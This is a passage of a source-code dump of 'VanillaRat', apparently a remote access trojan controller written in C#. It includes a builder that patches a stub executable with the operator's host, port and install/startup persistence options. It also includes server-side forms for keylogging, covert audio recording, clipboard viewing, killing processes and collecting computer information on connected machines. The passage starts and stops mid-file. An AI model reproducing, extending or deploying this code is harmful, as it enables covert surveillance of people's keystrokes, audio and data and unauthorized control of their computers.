{A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Debug|x64.Build.0 = Debug|Any CPU 30 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Release|Any CPU.Build.0 = Release|Any CPU 32 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Release|x64.ActiveCfg = Release|Any CPU 33 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Release|x64.Build.0 = Release|Any CPU 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {CB1F02AE-CE6C-475A-923A-92E441640478} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /VanillaRat.sln.DotSettings.user: -------------------------------------------------------------------------------- 1 |  2 | SOLUTION 3 | 4 | <Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" /> 5 | <Policy Inspect="True" Prefix="" Suffix="" Style="AA_BB"><ExtraRule Prefix="" Suffix="" Style="AaBb" /></Policy> 6 | <Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" /> 7 | <Policy Inspect="True" Prefix="" Suffix="" Style="aaBb"><ExtraRule Prefix="n" Suffix="" Style="AaBb" /></Policy> 8 | 2 -------------------------------------------------------------------------------- /VanillaRat/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 7 |
10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 1604 19 | 20 | 21 | 50 22 | 23 | 24 | False 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /VanillaRat/Classes/AutoClosingMsgBox.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Threading; 4 | using System.Windows.Forms; 5 | using Timer = System.Threading.Timer; 6 | 7 | namespace VanillaRat.Classes 8 | { 9 | //BY DMITRYG - STACKOVERFLOW 10 | public class AutoClosingMessageBox 11 | { 12 | private const int WM_CLOSE = 0x0010; 13 | private readonly string _caption; 14 | private readonly Timer _timeoutTimer; 15 | private readonly DialogResult _timerResult; 16 | private DialogResult _result; 17 | 18 | private AutoClosingMessageBox(string text, string caption, int timeout, 19 | MessageBoxButtons buttons = MessageBoxButtons.OK, DialogResult timerResult = DialogResult.None) 20 | { 21 | _caption = caption; 22 | _timeoutTimer = new Timer(OnTimerElapsed, 23 | null, timeout, Timeout.Infinite); 24 | _timerResult = timerResult; 25 | using (_timeoutTimer) 26 | { 27 | _result = MessageBox.Show(text, caption, buttons); 28 | } 29 | } 30 | 31 | public static DialogResult Show(string text, string caption, int timeout, 32 | MessageBoxButtons buttons = MessageBoxButtons.OK, DialogResult timerResult = DialogResult.None) 33 | { 34 | return new AutoClosingMessageBox(text, caption, timeout, buttons, timerResult)._result; 35 | } 36 | 37 | private void OnTimerElapsed(object state) 38 | { 39 | IntPtr mbWnd = FindWindow("#32770", _caption); // lpClassName is #32770 for MessageBox 40 | if (mbWnd != IntPtr.Zero) 41 | SendMessage(mbWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); 42 | _timeoutTimer.Dispose(); 43 | _result = _timerResult; 44 | } 45 | 46 | [DllImport("user32.dll", SetLastError = true)] 47 | private static extern IntPtr FindWindow(string lpClassName, string lpWindowName); 48 | 49 | [DllImport("user32.dll", CharSet = CharSet.Auto)] 50 | private static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); 51 | } 52 | } -------------------------------------------------------------------------------- /VanillaRat/Classes/Builder.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Linq; 4 | using dnlib.DotNet; 5 | using VanillaRatStub; 6 | 7 | namespace VanillaRat.Classes 8 | { 9 | internal class Builder 10 | { 11 | //Build client 12 | public void BuildClient(string Port, string DNS, string Name, string ClientTag, string UpdateInterval, 13 | string Install, string Startup) 14 | { 15 | ClientSettings.DNS = DNS; 16 | ClientSettings.Port = Port; 17 | ClientSettings.ClientTag = ClientTag; 18 | ClientSettings.UpdateInterval = UpdateInterval; 19 | ClientSettings.Install = Install == "True" ? "True" : "False"; 20 | ClientSettings.Startup = Startup == "True" ? "True" : "False"; 21 | string FullName = "VanillaRatStub.ClientSettings"; 22 | var Assembly = AssemblyDef.Load("VanillaStub.exe"); 23 | var Module = Assembly.ManifestModule; 24 | if (Module != null) 25 | { 26 | var Settings = Module.GetTypes().Where(type => type.FullName == FullName).FirstOrDefault(); 27 | if (Settings != null) 28 | { 29 | var Constructor = Settings.FindMethod(".cctor"); 30 | if (Constructor != null) 31 | { 32 | Constructor.Body.Instructions[0].Operand = ClientSettings.DNS; 33 | Constructor.Body.Instructions[2].Operand = ClientSettings.Port; 34 | Constructor.Body.Instructions[4].Operand = ClientSettings.ClientTag; 35 | Constructor.Body.Instructions[6].Operand = ClientSettings.UpdateInterval; 36 | Constructor.Body.Instructions[8].Operand = ClientSettings.Install; 37 | Constructor.Body.Instructions[10].Operand = ClientSettings.Startup; 38 | if (!Directory.Exists(Environment.CurrentDirectory + @"\Clients")) 39 | Directory.CreateDirectory(Environment.CurrentDirectory + @"\Clients"); 40 | Assembly.Write(Environment.CurrentDirectory + @"\Clients\" + Name + ".exe"); 41 | } 42 | } 43 | } 44 | } 45 | } 46 | } -------------------------------------------------------------------------------- /VanillaRat/Classes/Notification.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Threading; 3 | using System.Windows.Forms; 4 | 5 | namespace VanillaRat.Classes 6 | { 7 | public class Notification : Form 8 | { 9 | //Override form load to place lower right 10 | protected override void OnLoad(EventArgs e) 11 | { 12 | PlaceLowerRight(); 13 | base.OnLoad(e); 14 | } 15 | 16 | //Override form close to fade out 17 | protected override void OnFormClosing(FormClosingEventArgs e) 18 | { 19 | base.OnFormClosing(e); 20 | if (!e.Cancel) 21 | for (int op = 99; op >= 0; op -= 3) 22 | { 23 | Opacity = op / 100f; 24 | Thread.Sleep(15); 25 | } 26 | } 27 | 28 | //Place form lower right of screen 29 | private void PlaceLowerRight() 30 | { 31 | Screen rightmost = Screen.AllScreens[0]; 32 | foreach (Screen screen in Screen.AllScreens) 33 | if (screen.WorkingArea.Right > rightmost.WorkingArea.Right) 34 | rightmost = screen; 35 | Left = rightmost.WorkingArea.Right - Width; 36 | Top = rightmost.WorkingArea.Bottom - Height; 37 | } 38 | } 39 | } -------------------------------------------------------------------------------- /VanillaRat/Classes/Server.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaRat.Classes 2 | { 3 | internal static class Server 4 | { 5 | public static Telepathy.Server MainServer = new Telepathy.Server(); 6 | } 7 | } -------------------------------------------------------------------------------- /VanillaRat/Classes/Settings.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaRat.Classes 2 | { 3 | internal class Settings 4 | { 5 | public struct Values 6 | { 7 | //Get port from user settings 8 | public int GetPort() 9 | { 10 | return Properties.Settings.Default.Port; 11 | } 12 | 13 | //Get update interval from settings 14 | public int GetUpdateInterval() 15 | { 16 | return Properties.Settings.Default.UpdateInterval; 17 | } 18 | 19 | //Get notify on connection from settings 20 | public bool GetNotifyValue() 21 | { 22 | return Properties.Settings.Default.Notfiy; 23 | } 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /VanillaRat/Classes/Telepathy/EventType.cs: -------------------------------------------------------------------------------- 1 | namespace Telepathy 2 | { 3 | public enum EventType 4 | { 5 | Connected, 6 | Data, 7 | Disconnected 8 | } 9 | } -------------------------------------------------------------------------------- /VanillaRat/Classes/Telepathy/Logger.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Telepathy 4 | { 5 | public static class Logger 6 | { 7 | public static Action Log = Console.WriteLine; 8 | public static Action LogWarning = Console.WriteLine; 9 | public static Action LogError = Console.Error.WriteLine; 10 | } 11 | } -------------------------------------------------------------------------------- /VanillaRat/Classes/Telepathy/Message.cs: -------------------------------------------------------------------------------- 1 | namespace Telepathy 2 | { 3 | public class Message 4 | { 5 | public int connectionId; 6 | public byte[] data; 7 | public EventType eventType; 8 | 9 | public Message(int connectionId, EventType eventType, byte[] data) 10 | { 11 | this.connectionId = connectionId; 12 | this.eventType = eventType; 13 | this.data = data; 14 | } 15 | } 16 | } -------------------------------------------------------------------------------- /VanillaRat/Classes/Telepathy/NetworkStreamExtensions.cs: -------------------------------------------------------------------------------- 1 | using System.IO; 2 | using System.Net.Sockets; 3 | 4 | namespace Telepathy 5 | { 6 | public static class NetworkStreamExtensions 7 | { 8 | public static int ReadSafely(this NetworkStream stream, byte[] buffer, int offset, int size) 9 | { 10 | try 11 | { 12 | return stream.Read(buffer, offset, size); 13 | } 14 | catch (IOException) 15 | { 16 | return 0; 17 | } 18 | } 19 | 20 | public static bool ReadExactly(this NetworkStream stream, byte[] buffer, int amount) 21 | { 22 | int bytesRead = 0; 23 | while (bytesRead < amount) 24 | { 25 | int remaining = amount - bytesRead; 26 | int result = stream.ReadSafely(buffer, bytesRead, remaining); 27 | 28 | if (result == 0) 29 | return false; 30 | 31 | bytesRead += result; 32 | } 33 | 34 | return true; 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /VanillaRat/Classes/Telepathy/SafeQueue.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace Telepathy 4 | { 5 | public class SafeQueue 6 | { 7 | private readonly Queue queue = new Queue(); 8 | 9 | public int Count 10 | { 11 | get 12 | { 13 | lock (queue) 14 | { 15 | return queue.Count; 16 | } 17 | } 18 | } 19 | 20 | public void Enqueue(T item) 21 | { 22 | lock (queue) 23 | { 24 | queue.Enqueue(item); 25 | } 26 | } 27 | 28 | public bool TryDequeue(out T result) 29 | { 30 | lock (queue) 31 | { 32 | result = default(T); 33 | if (queue.Count > 0) 34 | { 35 | result = queue.Dequeue(); 36 | return true; 37 | } 38 | 39 | return false; 40 | } 41 | } 42 | 43 | public bool TryDequeueAll(out T[] result) 44 | { 45 | lock (queue) 46 | { 47 | result = queue.ToArray(); 48 | queue.Clear(); 49 | return result.Length > 0; 50 | } 51 | } 52 | 53 | public void Clear() 54 | { 55 | lock (queue) 56 | { 57 | queue.Clear(); 58 | } 59 | } 60 | } 61 | } -------------------------------------------------------------------------------- /VanillaRat/Classes/Telepathy/Utils.cs: -------------------------------------------------------------------------------- 1 | namespace Telepathy 2 | { 3 | public static class Utils 4 | { 5 | public static byte[] IntToBytesBigEndian(int value) 6 | { 7 | return new[] 8 | { 9 | (byte) (value >> 24), 10 | (byte) (value >> 16), 11 | (byte) (value >> 8), 12 | (byte) value 13 | }; 14 | } 15 | 16 | public static int BytesToIntBigEndian(byte[] bytes) 17 | { 18 | return 19 | (bytes[0] << 24) | 20 | (bytes[1] << 16) | 21 | (bytes[2] << 8) | 22 | bytes[3]; 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /VanillaRat/Classes/TempDataHelper.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaRat.Classes 2 | { 3 | internal class TempDataHelper 4 | { 5 | public static string DownloadLocation { get; set; } 6 | public static bool CanUpload { get; set; } 7 | } 8 | } -------------------------------------------------------------------------------- /VanillaRat/ClientSettings.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaRatStub 2 | { 3 | public static class ClientSettings 4 | { 5 | public static string DNS = ""; 6 | public static string Port = ""; 7 | public static string ClientTag = ""; 8 | public static string UpdateInterval = ""; 9 | public static string Install = ""; 10 | public static string Startup = ""; 11 | } 12 | } -------------------------------------------------------------------------------- /VanillaRat/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /VanillaRat/Forms/AudioRecorder.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaRat.Forms 2 | { 3 | partial class AudioRecorder 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.btnStartStopRecord = new System.Windows.Forms.Button(); 32 | this.btnPlayback = new System.Windows.Forms.Button(); 33 | this.SuspendLayout(); 34 | // 35 | // btnStartStopRecord 36 | // 37 | this.btnStartStopRecord.Location = new System.Drawing.Point(12, 12); 38 | this.btnStartStopRecord.Name = "btnStartStopRecord"; 39 | this.btnStartStopRecord.Size = new System.Drawing.Size(193, 23); 40 | this.btnStartStopRecord.TabIndex = 0; 41 | this.btnStartStopRecord.Text = "Start Recording"; 42 | this.btnStartStopRecord.UseVisualStyleBackColor = true; 43 | this.btnStartStopRecord.Click += new System.EventHandler(this.btnStartStopRecord_Click); 44 | // 45 | // btnPlayback 46 | // 47 | this.btnPlayback.Location = new System.Drawing.Point(12, 41); 48 | this.btnPlayback.Name = "btnPlayback"; 49 | this.btnPlayback.Size = new System.Drawing.Size(193, 23); 50 | this.btnPlayback.TabIndex = 1; 51 | this.btnPlayback.Text = "Start Playing"; 52 | this.btnPlayback.UseVisualStyleBackColor = true; 53 | this.btnPlayback.Click += new System.EventHandler(this.btnPlayback_Click); 54 | // 55 | // AudioRecorder 56 | // 57 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 58 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 59 | this.ClientSize = new System.Drawing.Size(217, 76); 60 | this.Controls.Add(this.btnPlayback); 61 | this.Controls.Add(this.btnStartStopRecord); 62 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 63 | this.Name = "AudioRecorder"; 64 | this.ShowIcon = false; 65 | this.Text = "Audio Recorder"; 66 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.AudioRecorder_FormClosing); 67 | this.ResumeLayout(false); 68 | 69 | } 70 | 71 | #endregion 72 | 73 | private System.Windows.Forms.Button btnStartStopRecord; 74 | private System.Windows.Forms.Button btnPlayback; 75 | } 76 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/AudioRecorder.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Media; 4 | using System.Text; 5 | using System.Windows.Forms; 6 | using VanillaRat.Classes; 7 | 8 | namespace VanillaRat.Forms 9 | { 10 | public partial class AudioRecorder : Form 11 | { 12 | private bool Playing; 13 | private bool Recording; 14 | private SoundPlayer SP = new SoundPlayer(); 15 | 16 | public AudioRecorder() 17 | { 18 | InitializeComponent(); 19 | btnPlayback.Enabled = false; 20 | MinimizeBox = false; 21 | MaximizeBox = false; 22 | Update = true; 23 | } 24 | 25 | public int ConnectionID { get; set; } 26 | public bool Update { get; set; } 27 | public byte[] BytesToPlay { get; set; } 28 | 29 | //Start or stop audio recording 30 | private void btnStartStopRecord_Click(object sender, EventArgs e) 31 | { 32 | if (!Recording) 33 | { 34 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("StartAR")); 35 | btnStartStopRecord.Text = "Stop Recording"; 36 | Recording = true; 37 | btnPlayback.Enabled = false; 38 | } 39 | else 40 | { 41 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("StopAR")); 42 | btnStartStopRecord.Text = "Start Recording"; 43 | Recording = false; 44 | btnPlayback.Enabled = true; 45 | } 46 | } 47 | 48 | //Start or stop audio playback 49 | private void btnPlayback_Click(object sender, EventArgs e) 50 | { 51 | if (BytesToPlay == null) 52 | { 53 | MessageBox.Show("Error: No audio to play. Recorded audio may not have sent yet.", "Error", 54 | MessageBoxButtons.OK, MessageBoxIcon.Error); 55 | return; 56 | } 57 | 58 | if (!Playing) 59 | try 60 | { 61 | using (MemoryStream MS = new MemoryStream(BytesToPlay)) 62 | { 63 | SP = new SoundPlayer(MS); 64 | SP.Play(); 65 | } 66 | 67 | btnPlayback.Text = "Stop Playing"; 68 | Playing = true; 69 | } 70 | catch { } 71 | else 72 | try 73 | { 74 | SP.Stop(); 75 | Playing = false; 76 | btnPlayback.Text = "Start Playing"; 77 | } 78 | catch { } 79 | } 80 | 81 | //On form close 82 | private void AudioRecorder_FormClosing(object sender, FormClosingEventArgs e) 83 | { 84 | Update = false; 85 | } 86 | } 87 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/BuilderForm.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Windows.Forms; 4 | using VanillaRat.Classes; 5 | 6 | namespace VanillaRat.Forms 7 | { 8 | public partial class BuilderForm : Form 9 | { 10 | public BuilderForm() 11 | { 12 | InitializeComponent(); 13 | MinimizeBox = false; 14 | MaximizeBox = false; 15 | Update = true; 16 | } 17 | 18 | public bool Update { get; set; } 19 | 20 | //Build client 21 | private void btnBuild_Click(object sender, EventArgs e) 22 | { 23 | if (txtDNS.Text == null || txtPort.Text == null || txtName.Text == null || txtClientTag.Text == null || 24 | txtInterval.Text == null) 25 | { 26 | MessageBox.Show("Error: One or more text fields is empty.", "Error", MessageBoxButtons.OK, 27 | MessageBoxIcon.Error); 28 | return; 29 | } 30 | Builder ClientBuilder = new Builder(); 31 | try 32 | { 33 | Convert.ToInt16(txtPort.Text); 34 | Convert.ToInt16(txtInterval.Text); 35 | } 36 | catch (Exception EX) 37 | { 38 | MessageBox.Show("Error: " + EX.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); 39 | return; 40 | } 41 | 42 | string Install = cbEnableInstallation.Checked ? "True" : "False"; 43 | string Startup = cbEnableStartup.Checked ? "True" : "False"; 44 | 45 | ClientBuilder.BuildClient(txtPort.Text, txtDNS.Text, txtName.Text, txtClientTag.Text, txtInterval.Text, 46 | Install, Startup); 47 | Process.Start("explorer.exe", Environment.CurrentDirectory + @"\Clients\"); 48 | Hide(); 49 | } 50 | 51 | //If enable install checked 52 | private void cbEnableInstallation_CheckedChanged(object sender, EventArgs e) 53 | { 54 | if (cbEnableInstallation.Checked) 55 | cbEnableStartup.Enabled = true; 56 | else 57 | cbEnableStartup.Enabled = false; 58 | } 59 | 60 | //On form close 61 | private void BuilderForm_FormClosing(object sender, FormClosingEventArgs e) 62 | { 63 | Update = false; 64 | } 65 | } 66 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/Chat.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Windows.Forms; 4 | using VanillaRat.Classes; 5 | 6 | namespace VanillaRat.Forms 7 | { 8 | public partial class Chat : Form 9 | { 10 | public Chat() 11 | { 12 | InitializeComponent(); 13 | Update = true; 14 | } 15 | 16 | public int ConnectionID { get; set; } 17 | public bool Update { get; set; } 18 | 19 | //Send message by button 20 | private void btnSend_Click(object sender, EventArgs e) 21 | { 22 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]" + txtSend.Text)); 23 | if (string.IsNullOrWhiteSpace(txtChat.Text)) 24 | txtChat.Text = "You: " + txtSend.Text; 25 | else 26 | txtChat.AppendText(Environment.NewLine + "You: " + txtSend.Text); 27 | txtSend.Text = ""; 28 | } 29 | 30 | //Send message by enter key 31 | private void txtSend_KeyDown(object sender, KeyEventArgs e) 32 | { 33 | if (e.KeyCode == Keys.Enter) 34 | { 35 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]" + txtSend.Text)); 36 | if (string.IsNullOrWhiteSpace(txtChat.Text)) 37 | txtChat.Text = "You: " + txtSend.Text; 38 | else 39 | txtChat.AppendText(Environment.NewLine + "You: " + txtSend.Text); 40 | txtSend.Text = ""; 41 | } 42 | } 43 | 44 | //On form close 45 | private void Chat_FormClosing(object sender, FormClosingEventArgs e) 46 | { 47 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("CloseChat")); 48 | Update = false; 49 | } 50 | 51 | //On form load 52 | private void Chat_Load(object sender, EventArgs e) 53 | { 54 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]Opened chat")); 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/ClientRunningApps.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Threading.Tasks; 4 | using System.Windows.Forms; 5 | using VanillaRat.Classes; 6 | 7 | namespace VanillaRat.Forms 8 | { 9 | public partial class ClientRunningApps : Form 10 | { 11 | public ClientRunningApps() 12 | { 13 | InitializeComponent(); 14 | MinimizeBox = false; 15 | MaximizeBox = false; 16 | Update = true; 17 | } 18 | 19 | public bool Update { get; set; } 20 | 21 | public int ConnectionID { get; set; } 22 | 23 | //Refresh listed processes 24 | private void btnRefreshProcesses_Click(object sender, EventArgs e) 25 | { 26 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("GetProcesses")); 27 | } 28 | 29 | //End selected process 30 | private async void btnEndProcess_Click(object sender, EventArgs e) 31 | { 32 | if (lbRunningProcesses.SelectedItems.Count == 0) 33 | { 34 | MessageBox.Show("Please select a process!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); 35 | return; 36 | } 37 | 38 | ListViewItem Item = lbRunningProcesses.SelectedItems[0]; 39 | Server.MainServer.Send(ConnectionID, 40 | Encoding.ASCII.GetBytes("EndProcess<{" + Item.SubItems[1].Text + "}>")); 41 | await Task.Delay(50); 42 | Item.Remove(); 43 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("GetProcesses")); 44 | } 45 | 46 | //On form close 47 | private void ClientRunningApps_FormClosing(object sender, FormClosingEventArgs e) 48 | { 49 | Update = false; 50 | } 51 | } 52 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/ClipboardTextViewer.cs: -------------------------------------------------------------------------------- 1 | using System.Windows.Forms; 2 | 3 | namespace VanillaRat.Forms 4 | { 5 | public partial class ClipboardTextViewer : Form 6 | { 7 | public ClipboardTextViewer() 8 | { 9 | InitializeComponent(); 10 | MinimizeBox = false; 11 | MaximizeBox = false; 12 | Update = true; 13 | } 14 | 15 | public int ConnectionID { get; set; } 16 | public bool Update { get; set; } 17 | 18 | //On form close 19 | private void ClipboardTextViewer_FormClosing(object sender, FormClosingEventArgs e) 20 | { 21 | Update = false; 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/ComputerInformation.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaRat.Forms 2 | { 3 | partial class ComputerInformation 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.lbInformation = new System.Windows.Forms.ListBox(); 32 | this.SuspendLayout(); 33 | // 34 | // lbInformation 35 | // 36 | this.lbInformation.BorderStyle = System.Windows.Forms.BorderStyle.None; 37 | this.lbInformation.Dock = System.Windows.Forms.DockStyle.Fill; 38 | this.lbInformation.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 39 | this.lbInformation.FormattingEnabled = true; 40 | this.lbInformation.ItemHeight = 16; 41 | this.lbInformation.Location = new System.Drawing.Point(0, 0); 42 | this.lbInformation.Name = "lbInformation"; 43 | this.lbInformation.Size = new System.Drawing.Size(481, 264); 44 | this.lbInformation.TabIndex = 0; 45 | // 46 | // ComputerInformation 47 | // 48 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 49 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 50 | this.BackColor = System.Drawing.SystemColors.Window; 51 | this.ClientSize = new System.Drawing.Size(481, 264); 52 | this.Controls.Add(this.lbInformation); 53 | this.Name = "ComputerInformation"; 54 | this.ShowIcon = false; 55 | this.Text = "ComputerInformation"; 56 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ComputerInformation_FormClosing); 57 | this.ResumeLayout(false); 58 | 59 | } 60 | 61 | #endregion 62 | 63 | public System.Windows.Forms.ListBox lbInformation; 64 | } 65 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/ComputerInformation.cs: -------------------------------------------------------------------------------- 1 | using System.Windows.Forms; 2 | 3 | namespace VanillaRat.Forms 4 | { 5 | public partial class ComputerInformation : Form 6 | { 7 | public ComputerInformation() 8 | { 9 | InitializeComponent(); 10 | Update = true; 11 | } 12 | 13 | public int ConnectionID { get; set; } 14 | public bool Update { get; set; } 15 | 16 | //On form close 17 | private void ComputerInformation_FormClosing(object sender, FormClosingEventArgs e) 18 | { 19 | Update = false; 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/Controls/FlatPanel.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaRat.Forms.Controls 2 | { 3 | partial class FlatPanel 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Component Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | components = new System.ComponentModel.Container(); 32 | } 33 | 34 | #endregion 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /VanillaRat/Forms/Controls/FlatPanel.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Drawing.Drawing2D; 7 | using System.Linq; 8 | using System.Text; 9 | using System.Threading.Tasks; 10 | using System.Windows.Forms; 11 | 12 | namespace VanillaRat.Forms.Controls 13 | { 14 | public partial interface IFlatPanel 15 | { 16 | Color BorderColor { get; set; } 17 | } 18 | 19 | public partial class FlatPanel : Control, IFlatPanel 20 | { 21 | public FlatPanel() 22 | { 23 | InitializeComponent(); 24 | SetStyle(ControlStyles.UserPaint | ControlStyles.ResizeRedraw | ControlStyles.DoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); 25 | BorderColor = Color.Black; 26 | } 27 | 28 | public Color BorderColor { get; set; } 29 | 30 | protected override void OnPaint(PaintEventArgs pe) 31 | { 32 | using (SolidBrush SB = new SolidBrush(BackColor)) 33 | pe.Graphics.FillRectangle(SB, ClientRectangle); 34 | pe.Graphics.DrawRectangle(new Pen(BorderColor), 0, 0, ClientSize.Width - 1, ClientSize.Height - 1); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /VanillaRat/Forms/Keylogger.cs: -------------------------------------------------------------------------------- 1 | using System.Text; 2 | using System.Windows.Forms; 3 | using VanillaRat.Classes; 4 | 5 | namespace VanillaRat.Forms 6 | { 7 | public partial class Keylogger : Form 8 | { 9 | public Keylogger() 10 | { 11 | InitializeComponent(); 12 | MinimizeBox = false; 13 | MaximizeBox = false; 14 | Update = true; 15 | } 16 | 17 | public int ConnectionId { get; set; } 18 | public bool Update { get; set; } 19 | 20 | //Stop keylogger 21 | private void Keylogger_FormClosing(object sender, FormClosingEventArgs e) 22 | { 23 | Update = false; 24 | Server.MainServer.Send(ConnectionId, Encoding.ASCII.GetBytes("StopKL")); 25 | } 26 | } 27 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/NotificationBox.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Media; 3 | using System.Threading.Tasks; 4 | using VanillaRat.Classes; 5 | using VanillaRat.Properties; 6 | 7 | namespace VanillaRat.Forms 8 | { 9 | public partial class 10 | NotificationBox : Notification //TO EDIT THIS FORM INHERIT REGULAR FORM FIRST ELSE IT WILL NOT DISPLAY IN DESIGNER 11 | { 12 | public NotificationBox() 13 | { 14 | InitializeComponent(); 15 | Opacity = 0; 16 | } 17 | 18 | public string IP { get; set; } 19 | 20 | public string ClientTag { get; set; } 21 | 22 | //Fade form in 23 | private async void FadeIn(int UpdateInterval) 24 | { 25 | try 26 | { 27 | while (Opacity < 1.0) 28 | { 29 | await Task.Delay(UpdateInterval); 30 | Opacity += 0.05; 31 | } 32 | 33 | Opacity = 1; 34 | } 35 | catch { } 36 | } 37 | 38 | //On notification box load 39 | private void NotificationBox_Load(object sender, EventArgs e) 40 | { 41 | SoundPlayer SP = new SoundPlayer(Resources.Click_Soft_00); 42 | SP.Play(); 43 | lblClientTag.Text = ClientTag.ToUpper(); 44 | lblIP.Text = IP.ToUpper(); 45 | FadeIn(15); 46 | } 47 | 48 | //On notification box show 49 | private async void NotificationBox_Shown(object sender, EventArgs e) 50 | { 51 | await Task.Delay(3000); 52 | Close(); 53 | } 54 | } 55 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/OpenWebsite.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Windows.Forms; 4 | using VanillaRat.Classes; 5 | 6 | namespace 